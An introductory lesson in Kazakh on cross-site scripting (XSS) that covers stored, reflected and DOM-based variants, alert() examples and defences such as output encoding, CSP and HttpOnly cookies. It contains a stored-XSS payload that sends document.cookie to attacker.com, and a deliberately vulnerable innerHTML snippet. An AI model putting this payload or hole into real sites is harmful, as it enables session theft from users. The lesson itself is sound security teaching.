Бұл сабақта XSS шабуылының мәні, оның түрлері және веб-сайттарға келтіретін зияны түсіндіріледі. Оқушы XSS шабуылы қалай орындалады және одан қалай қорғануға болатынын үйренеді.
1. XSS деген не?
XSS (Cross-Site Scripting) – шабуыл түрі, шабуылдаушы сайтқа зиянды JavaScript кодын ендіріп, пайдаланушының браузері арқылы орындайды.
Шабуыл браузер деңгейінде орындалады, сондықтан қауіптілігі жоғары.
2. XSS шабуылының мақсаты:
Пайдаланушы cookies, session, token деректерін ұрлау
Қолданушы интерфейсін өзгерту
Фишинг беттер енгізу
Қашықтан код орындату (кей жағдайда)
3. XSS түрлері:
Түрі Сипаттамасы
Stored XSS Вредонос код дерекқорда сақталады (мысалы, пікір қалдыру бөлігінде)
Reflected XSS Код URL арқылы серверге өтеді және бетте бірден көрінеді
DOM-based XSS JavaScript арқылы DOM құрылымы арқылы орындалады, серверге өтпейді
4. Қарапайым мысал (Reflected XSS):
URL:
php-template
Копировать
Редактировать
https://example.com/search?q=<script>alert('XSS')</script>
Код бетте тікелей көрсетілсе:
html
Копировать
Редактировать
Результат поиска: <b> <script>alert('XSS')</script> </b>
Бұл кезде қолданушының браузерінде alert() жұмыс істейді.
5. Stored XSS мысалы:
Қолданушы форумда пікір қалдырады:
php-template
Копировать
Редактировать
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
Бұл код басқа қолданушы парақты ашқанда орындалады.
6. DOM-based XSS мысалы:
js
Копировать
Редактировать
let name = location.hash.substring(1);
document.getElementById('output').innerHTML = "Hello " + name;
URL:
php-template
Копировать
Редактировать
https://example.com/#<script>alert('XSS')</script>
7. XSS-ке қарсы қорғану әдістері:
Output Encoding: HTML, JS, URL шығуын кодтау (мысалы, <, >, т.б.)
Input Validation: Пайдаланушы деректерін шектеу (жол ұзындығы, типі, символдары)
Content Security Policy (CSP): Сыртқы скрипттерді шектеу
HTTPOnly cookie: JavaScript арқылы cookie-ді оқуға тыйым салу
Web фреймворктердің қорғау механизмдері: React, Angular – автоматты түрде қауіпсіз етеді
8. Тәжірибе (практика):
XSS шабуылы орындалатын беттен қате кодты тауып, оны textContent немесе innerText арқылы ауыстырыңыз.
XSS Labs немесе XSS Game секілді платформаларда сынау ұсынылады.